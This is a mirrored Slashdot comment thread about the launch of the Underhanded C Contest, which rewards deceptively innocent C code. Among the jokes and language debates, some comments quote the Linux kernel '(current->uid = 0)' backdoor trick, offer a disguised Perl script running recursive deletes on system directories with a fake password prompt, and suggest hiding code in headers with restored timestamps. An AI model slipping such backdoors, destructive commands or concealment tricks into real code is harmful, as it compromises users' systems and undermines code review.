Slashdot Mirror
The First Annual Underhanded C Contest
Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."
Comment removed based on user account deletion
People will do anything for beer! Who needs speech when you're gulping down a cold lager?
OLPC Australia
kill the brain cells that made innocent looking malicous code :P
Pussy.
RTFA, please.
The challenge for the first UCC is to write a simple program that performs some basic image-processing operation, for example smoothing or resampling, but manages to conceal a unique imperceptible fingerprint in each image it opens.
The fingerprint should be different for every execution of the program. It doesn't have to have any particular meaning, but useful tracking information is worth extra points (tho getting caught is worth fewer points.) The print should be extractable from the output image by another program. Realistically, the detector will not have access to the original image for comparison purposes.
I seriously doubt that anyone could get arrested for writing something like this, dubious legal state or not.
I hear there's rumors on the Slashdots
The object is to hide evil functionality that survives visual inspection of the source.
The prize is world domination!
If these walls could talk they'd probly still ignore me. --MF DOOM
Count on the likes of Sun, Microsoft, and anyone else selling a non-C language to pounce on this as a marketing opportunity.
C is a superb language. Why besmirch its reputation with a contest to make it seem as untrustworthy as possible?
#include
:)
main()
{
printf("Hello World");
}
Seemingly harmless, right? Wrong. It's still in devlopment, but think about it. You should have to greet the world before you destroy it.
I'm going to go create my own technology news site, with blackjack and hookers. You know what? Forget the news site.
What?
Are you serious? Entrapment is an undercover cop asking you if you want to buy drugs, then when you say no, he tries to persuade you and suceeds, possibly becuase you just want him to go away.
It's really not that easy for something to qualify as entrapment, also consider that writing malicious code isnt illegal, it's free speech and no different then writing a book that urges people to do something malicious, not at all illegal.
But no please, keep thinking everything is illegal and dont bother doing anything it makes it easier to actually make it illegal.
Any open-source steganography programs
Why, yes! http://sourceforge.net/projects/steghide/
bash: rtfm: command not found
The authorities start a contest such as this, an unsuspecting programmer submits a malicious program, and he or she is arrested and charged with a variety of computer crimes.
What computer crimes would be broken?
Frankly, I won't participate in this contest considering the current legal state of America.
No, you won't participate because of yor current state of paranoia over the legal state of America.
#include stuff.h
/* nothing / */ /* to see / * here */
/* whats * / challenging / * about */
/* this */ /* there / is no */ evil /* /* here
/* their / * / eyes testing */ ();
void main()
{
screensaver(); * function */
anyone that thinks there is * / needs */
}
585
liqbase
RTFA. The idea is to hide the malicious functions so that the source code looks innocent.
# cat
Damn, my RAM is full of llamas.
Why attack the source code when you can instead attack the compiler?
You need only attack the compiler, or the linker, or the interpreter.
Just tuck it away in a commonly used header file, use touch to restore the last date/time of modification, and you're all set.
#define void int
Hours & hours of irritation & confusion!
T&K.
Political language
Can you even breathe in that tinfoil cocoon?
Everyone knows that it is possible to write malicious code in C. That's just because C gives you the near utmost control over your system, and does not discrminiate based on human emotions like "good", "bad", and "malicious". Perhaps a better idea would have been to try to write malicious code in a language such as Java, which tries to prevent a programmer from writing such code. That would be a real challenge.
Yeah, I just flip the "+good +bad -malicious" flags on javac when I want to trust code. Come on, that's ridiculous.
This is not a hard task, but it's kind of stupid, on the order of "who can break into the most computers today" (I dunno, who can run nmap the longest?)
There are so many *interesting* things that could be done as a programming contest, and the submitter chose something that's a pain in the ass for other people, doesn't really challenge the brain ("shortest version of X"), and can't be used for much other than bogus arguments that "C is dangerous" or the obvious card, "Open Source is insecure" (you can look at the much larger sample set of SourceForge and the lack of Trojans implanted and later discovered).
The number of *interesting* security stories that could have challenged people and been useful is legion. "Can we have a system that is unbreakable and does X", (followed by the inevitable followup posts where people punch holes in the design) or other things. You could have asked "How can OSS projects avoid allowing malicious code being sumitted?", which would have started an interesting set of threads from people who work on proof-carrying code, would have taught readers something, and maybe provided improved security for the world at large. Instead, we're going to see a handful of bad, obfuscated C, and a bunch of halfassed arguments against C and OSS, neither of which has much connection with reality. There will be some language arguments, where someone says "we should use [LANGUAGE_WITH_BOUNDSCHECKING]", some security guy that will point out that this doesn't begin to avoid stopping malicious code, someone will make some stupid arguments about how their favorite OS is more secure than anyone else's, we'll get some rehash of NX features that have been done time and time again on Slashdot...seriously, goddammit. The day someone makes a knockoff of Slashdot that's a bit more computer-science oriented and isn't solely aimed at producing the same tired old trolling every day is the day I jump ship.
Any program relying on (nontrivial) preemptive multithreading will be buggy.
I nominate Diebold!
Now if only we can get them to enter their code in the contest...
I mean I could do something like this:
# When do you want it done?
$today="sudo";
$yesterday="su -c";
# Define our globals
$superman="ls";
$wonderwoman="rm"
$bat
$aquaman="mv";
#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
#define some targets
$your_mom="/";
$your_dad="/usr";
$your
$your_teacher="/bin";
$hell="/dev/n
$heaven="/dev/random";
$skyhigh="nfs://mys
#....later, back at Superfriends Headquarters
`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";
The superfriends save the day again.
Karma: Chameleon (mostly due to the fact that you come and go).
Hacking was never about malicious behaviour, it was about learning and understanding. Granted, much of what one learned could be applied in malicious ways, but that wasn't the goal. Coding contests whether they be geared towards obfuscation or speed are still learning endeavors.
Who is behind this and what is their motivations? What will they do with the ideas submitted in this contest? In a day of professional computer hackers, this is not a contest to have.
The prize is beer.
What if someone in the straight edge crowed wins?
They can give the beer to me.
Give me Classic Slashdot or give me death!
title Windows
root (hd0,0)
chainloader +1
Now where's my beer?
Help Wanted:
Diebold needs new programmers. If you have what it takes to hide "winning" code in our election machines. Apply to Diebold Careers
Please check out the contest page: the "evil" behavior is not something java would prevent you from doing. We're not talking about crashing a computer or gaining root access, but performing a data processing task incorrectly. It's entirely problem state.
That being said, I chose C because it does permit more tricks along the lines of stack smashing and type mismatches. The winners of the obfuscated V contest used techniques like this to conceal their evil behavior, so I feel this would give people more freedom to get creative.
Finally, this is not meant to slam C, or open source, or any such like. I can't imagine how anyone can look at this contest and see it as an argument for less openness.
Xcott
Am I required to submit original source code, written by me, or can I merely submit the leaked Windows source, and thus be assured of victory?
Moderate drunk! It's more fun that way!
It looks innocent but is about as evil as it gets.
"Destroy science and religion. Science would re-emerge exactly the same; but not religion." - Penn Jillette, paraphrased
Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
He'll submit the source code to IE.
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
Every year, we will propose a challenge to coders to solve a simple data processing problem, but with covert malicious behavior. Examples include miscounting votes, shaving money from financial transactions, or leaking information to an eavesdropper. The main goal, however, is to write source code that easily passes visual inspection by other programmers.
Oh dear, now we're rewarding people for writing actual malicious code that is designed to pass visual inspection from other programmers.
When these sort of tricks will show up eventually in actual voting machines or the gigantic corpus of finincial code that's been hacked together?
Or when will we start to find the underhanded tricks in things we use?
I'm on a road shaped like a figure eight; I'm going nowhere but I'm guaranteed to be late.
int main () { WinExec ("iexplore.exe"); }
That'll make it a real challenge, since the designers of Java made an effort to make it difficult to write malicious code in the first place.
Actually, that's not really the case... not for the kind of "malicious code" that they're talking about here. They're not talking about "getting out of the sandbox", they're talking about "hiding information in the output". It's actually a lot easier to hide this kind of "malicious code" in an object-oriented language because you can play games with the namespace.
No, not seriously. I was just reading an article on the Patriot Act, though, and was thinking about how the masses--the same ones who are willing to accept that using BitTorrent is equivalent to terrorism--might see this sort of endeavor.
The CB App. What's your 20?
This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)
The attempt was trying to insert
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).
They used to use the back section of planes to make ice cream (the cold and vibration from the propeller planes was perfect for it). It was air force tradition for quite some time.
It really just depends on what kind of plane you're talking about. I'm sure there's areas on even modern large-body jets where there's an uninsulated section large enough for a keg.
Those who can't do, teach. Those who can't teach either, do tech support.
You're just used to it. Problems: difficult to compile, difficult to convert to better languages (thank you preprocessor), encourages obfuscation, some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings. That's just off the top of my head.
"write clear, readable, innocent-looking C code", right?
Wow, nobody's going to win this one.
Richard Steven Hack - This sig is TOO GODDAMN SHORT TO DO ANYTHING USEFUL WITH! MORONS!
doesn't that make basically all c code underhanded?
Nope. Only the code that includes
#include <windows.h>
*ducks*
The only surefire protection against Microsoft infections is abstinence. - The Onion
Programmer: 'Take this source code, but beware! It carries a terrible curse!'
Judge: 'That's bad.'
Programmer: 'But it's optimized for PowerPC!'
Judge: 'That's good!'
Programmer: 'PowerPC is also cursed.'
Judge: 'That's bad.'
Programmer: 'But you get your choice of operating systems!'
Judge: 'That's good!'
Programmer: 'The operating systems run on Intel.' *pause* 'That's bad.'
Judge: 'Can I go now?'
A picky compiler is a blessing, not a curse. It's much easier to identify and fix compile errors than run-time errors.
difficult to convert to better languages (thank you preprocessor)
Meaningless troll.
encourages obfuscation
Unless the compiler is literally holding a gun to your head, this is meaningless. In C you have nearly limitless control to write your code the way you feel is clearest. If it came out obfuscated then you have nobody to blame but yourself.
some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings.
Tacked on? If you don't like the way constructs are set up then fine, that's your opinion. But if you read The C Programming Language you can tell that every single construct was scrutinized over for the proper balance of efficiency (why it makes sense to pass array parameters as pointers and structs as copies) and consistency (why data types are declared the way they are. Declaration and use of data is made to match.) Do you honestly believe the creators/first users of C, some of the greatest programmers who ever lived, really said, "Ahhh, fuck it. Let's just throw something together," when designing their own programming tools?
Most people who don't like C are really just saying they don't like low-level programming because that's what it was designed for, and that's what it's perfect for. Too many newbie programmers get used to some modern, flash-in-the-pan, all-things-to-all-people languages and when they are faced with the challenges of low-level languages rashly conclude that it's the language's fault they're having problems.
C is the perfect language for the job it was designed for. The same cannot be said for most more modern languages.
Happy people make bad consumers.
http://support.microsoft.com/?kbid=311486
Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
main() { printf("Goodbye World!\n"); }
The best way to predict the future is to create it. - Peter Drucker.
Writing code of that quality that looks like it does what it's supposed to do, while actually doing something subtly different, sounds like a very difficult challenge to me.
Programmers do that every day. It's called a "bug". Now, doing something subtly different and controlling what the subtly different thing actually is, that is a challenge.
Any program that was able to do two things would pass: The ability to load remote information into memory and to begin execution of the loaded information.
A way to automatically find this would be to use an execution tracer that would alert you when the programs point of execution "left" it's source code or allowed system api's.
Shh.
Comment removed based on user account deletion
Not the same paranoia of the previous post, but paranoia anyway. But the first thing that I thought was something like: "oh, so, this contest will show that malicious code can be inserted in open source and it will be very difficult to spot?" -- there are at least one software company that will like to point to it. Then again, I might actually be paranoid.
Clearly most of us should be submitting innocuous code to help camouflage the actual malign entries. That will make it harder for the judges to find badness. If you know that all the entries have some badness, then you'll look really hard. If you don't know which ones do, your checking gets worse.
This would make the test more like the real world too.
You are correct. This is from ISO/IEC 9899:1999(E):
(emphasis added)